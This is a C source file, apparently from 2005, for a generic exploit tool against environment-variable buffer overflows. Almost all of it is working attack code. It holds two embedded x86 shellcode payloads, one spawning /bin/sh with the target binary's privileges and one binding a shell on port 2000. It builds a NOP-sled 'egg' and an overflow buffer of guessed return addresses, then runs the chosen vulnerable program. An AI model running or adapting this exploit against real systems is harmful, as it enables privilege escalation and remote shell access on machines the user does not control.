/* -*-mode: C++; style: K&R; c-basic-offset: 4 ; -*- */ /* * env-overflow.c * Generic exploit for environmental variable overflows. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Steve Kemp * --- * http://www.steve.org.uk/ * */ #include #include #include #include #include #include #include #include /* * Version identifier from CVS. */ #define VERSION "$Id: env-overflow.c,v 1.9 2005/10/15 14:51:09 steve Exp $" /* * Definitions.. */ #define DEFAULT_OFFSET 1000 #define EGG_SIZE 3048 #define NOP 0x90 /* * Run /bin/sh with the priviledges of the binary. */ char shellcode_binsh[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* * Bind a shell on port 2000. */ char shellcode_portbind[] = "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b" "\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1" "\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0" "\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd" "\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51" "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53" "\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80"; /* * Options we accept. */ struct option options[] = { { "version", no_argument, NULL, 'v' }, { "verbose", no_argument, NULL, 'V' }, { "test", no_argument, NULL, 'T' }, { "help", no_argument, NULL, 'h'}, { "target", required_argument, NULL, 't'}, { "args", required_argument, NULL, 'a'}, { "env", required_argument, NULL, 'e'}, { "size", required_argument, NULL, 's'}, { "payload", required_argument, NULL, 'p'}, { 0, 0, 0, 0} }; /* * Global variables. */ char *shellcode = shellcode_binsh; int verbose = 0; int test = 0; /* * Find and return the version identifier from our CVS marker. */ char * getVersion( ) { char *start = NULL; char *end = NULL; char *memory = NULL; int length = 0; start = strstr( VERSION, ",v " ); if ( start == NULL ) return NULL; /* Add on the ",v " text. */ start += 3; /* Now find the next space - after the version marker */ end = strstr( start, " " ); if ( end == NULL ) return NULL; /* Allocate, and zero, enough memory for the result. */ length = end - start; memory = (char *)malloc( length + 1 ); memset( memory, '\0', length+1); /* Copy in the version number. */ strncpy( memory, start, length ); return( memory ); } /* * Show usage information. */ void showUsage( int argc, char *argv[] ) { char *version = getVersion(); if ( version == NULL ) printf("%s v%s by Steve Kemp\n", argv[0], "unknown" ); else { printf("%s v%s by Steve Kemp\n", argv[0], version ); free( version ); } printf("Usage : %s options\n", argv[ 0 ] ); printf("Options :\n\n" ); printf(" --target file Set the name of the target program.\n" ); printf(" --size num Set the size of the buffer we use.\n" ); printf(" --args 'args' Set the argument string to use.\n" ); printf(" --env NAME The environmental varible to overflow\n" ); printf(" --verbose Show diagnostics\n" ); printf(" --payload shell|bind Choose the shellcode to run\n" ); printf(" --test Execute the desired shellcode and exit\n" ); printf("\ne.g.:\n"); printf(" %s --target=./env-vuln --env=FOO --size=2000\n\n", argv[0] ); } void showVersion( int argc, char *argv[] ) { char *version = getVersion(); if ( version == NULL ) printf("%s v%s by Steve Kemp\n", argv[0], "unknown" ); else { printf("%s v%s by Steve Kemp\n", argv[0], version ); free( version ); } } /* * Entry point. */ int main(int argc, char *argv[]) { char *buffer, *ptr, *egg; char *target = NULL; char *env = NULL; long *address_p, addr; int offset = 1000; char *args = ""; int bsize = 1084; int align = 0; int i, egg_size= EGG_SIZE; int opt_index = 0; int retval = 0; /* A way to get the ESP without using assembly instructions */ int get_esp = (int)&get_esp; retval = getopt_long (argc, argv, "hvVpTtase", options, &opt_index); while (retval != EOF) { switch (retval) { case '?': /* FALL through. */ case 'h': /* show usage */ printf("\n"); showUsage(argc, argv); exit (0); break; case 'v': showVersion(argc, argv); exit( 0 ); break; case 'V': verbose++; break; case 'T': test++; break; case 't': target = optarg; break; case 's': bsize = atoi(optarg); break; case 'a': args = optarg; break; case 'e': env = optarg; break; case 'p': if ( strcmp( optarg, "shell" ) == 0 ) { shellcode = shellcode_binsh; if ( verbose ) printf("Using default shellcode\n"); } else if ( strcmp( optarg, "bind" ) == 0 ) { shellcode = shellcode_portbind; if ( verbose ) printf("Using portbinding shellcode\n"); } else { printf("Unrecognised payload option '%s'\n", optarg ); exit(0); } break; } retval = getopt_long (argc, argv, "hVpvtTase", options, &opt_index); } if ( test ) { if ( verbose ) printf( "Testing shellcode only:\n" ); void (*a)() = (void *)shellcode; a(); exit(1); } if ( target == NULL ) { printf( "Target option is mandatory\n" ); showUsage( argc, argv ); exit(1); } if ( env == NULL ) { printf( "Environmental variable to overflow is mandatory\n" ); showUsage( argc, argv ); exit(1); } /* * Make sure the target executable exists. */ { struct stat st; if ( stat( target, &st ) ) { printf( "Target program '%s' doesn't exist.\n", target ); return( -1 ); } } if (!(buffer = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } memset(buffer,'\0', bsize); if (!(egg = malloc(egg_size))) { printf("Can't allocate memory.\n"); exit(0); } align = (strlen(env)+1) % 4; addr = get_esp - offset; ptr = buffer; address_p = (long *) (ptr+align); for (i = 0; i < bsize; i+=4) *(address_p++) = addr; ptr = egg; for (i = 0; i < egg_size - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buffer[bsize - 1] = '\0'; egg[egg_size - 1] = '\0'; /* Egg */ memcpy(egg,"EGG=",4); if ( putenv(egg) == -1 ) { printf("Error in putenv(egg)\n" ); return -1; } /* Environmental variable we're overflowing */ memcpy(buffer, env, strlen(env) ); memcpy(buffer+strlen(env), "=", 1 ); if ( putenv(buffer) == -1 ) { printf("Error in putenv(buffer)\n" ); return 0; } /* Built string of arguments + target */ { char *execute = (char *)malloc( strlen( target ) + strlen( args ) + 2 ); if ( execute != NULL ) { /* Execute */ strcpy( execute, target ); if ( ( args != NULL ) && ( strlen( args ) ) ) { strcat( execute, " " ); strcat( execute, args ); } if ( verbose ) printf("Executing : '%s'\n", execute ); system( execute ); free( execute ); } else { printf( "Error allocating memory for execution.\n" ); } } return( 0 ); }